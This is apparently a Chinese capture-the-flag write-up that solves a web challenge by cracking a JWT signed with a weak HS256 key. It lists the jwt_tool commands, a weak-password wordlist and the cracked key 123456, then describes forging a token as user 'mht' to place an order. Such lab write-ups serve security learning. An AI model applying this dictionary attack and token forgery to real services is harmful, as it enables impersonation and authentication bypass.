环境目标:登录”mht”用户,并成功下单一件商品 一些签名算法,例如 HS256 签名算法使用弱密钥进行签名和验证。如果开发者在代码中使用了默认密码、示例密钥(如 secret、key、123456)或从网上直接复制的硬编码值,攻击者就可以将这些已知的弱密钥编成“字典”,对截获的 JWT 尝试本地签名比对。由于只需离线计算 HMAC-SHA256 并与令牌中的签名部分匹配,无需与服务器交互。拿到密钥后,攻击者便能任意伪造具有完整有效签名的 JWT,从而冒充任何用户、提升权限,彻底绕过认证体系。 题目提示使用若密钥进行签名验证。先注册一个测试账号test01,注册成功时用Burp Suite 抓包拿到jwt内容。问ai 去github 安装jwt_tool.git clone https://github.com/ticarpi/jwt_tool cd jwt_tool pip install -r requirements.txt 让ai根据题目提示写一个weak.txt弱口令文件, secret key 123456 password admin 12345 jwtsecret changeme abc123 letmein test qwerty welcome login default 运行jwt_tool.py python jwt_tool.py “抓到的jwt” -C -d .\weak.txt 进行暴力破解 \ \ \ \ \ \ \__ | | \ |\__ __| \__ __| | | | \ | | | \ \ | | \ | | | __ \ __ \ | \ | _ | | | | | | | | | | / \ | | | | | | | | \______/ \__/ \__| \__| \__| \______/ \______/ \__| Version 2.3.0 \______| @ticarpi C:\Users\Administrator/.jwt_tool/jwtconf.ini Original JWT: [+] 123456 is the CORRECT key! 得到123456 是密钥,根据密钥及修改用户名为mht,让ai写一个脚本重新生成新的jwt,在下单时抓包,修改包中的jwt放包,获得flag










请登录后查看回复内容